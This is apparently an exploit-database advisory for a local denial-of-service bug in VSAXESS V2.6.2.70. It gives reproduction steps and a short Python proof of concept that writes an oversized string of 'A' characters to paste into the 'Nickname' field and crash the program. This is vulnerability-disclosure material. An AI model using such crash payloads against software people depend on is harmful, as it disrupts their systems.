VSAXESS V2.6.2.70 build20171226_053 Nickname Denial of Service

2018.09.04
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: VSAXESS V2.6.2.70 build20171226_053 - 'Nickname' Denial of Service (PoC) # Discovery by: Diego Santamaria # Discovery Date: 2018-08-31 # Vendor Homepage: https:https://www.visionistech.com/en/home/ # Software Link: https://www.visionistech.com/en/vsaxess-desktop-software/ # Tested Version: V2.6.2.70 build20171226_053 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 7 Professional # Steps to Reproduce: # 1. Run the python code Nickname.py # 2. Open nickname_exploit.txt and copy the content # 3. Open VSAXESS.exe # 4. Register a password and username # 5. choose 'Add' # 6. choose 'Serial Port' # 6. Paste the content from nickname_exploit.txt on 'Nickname' # 7. Press 'Aceptar' and Crashed #!/usr/bin/env python content = "\x41" * 9300 f = open ("nickname_exploit.txt", "w") f.write(content) f.close()


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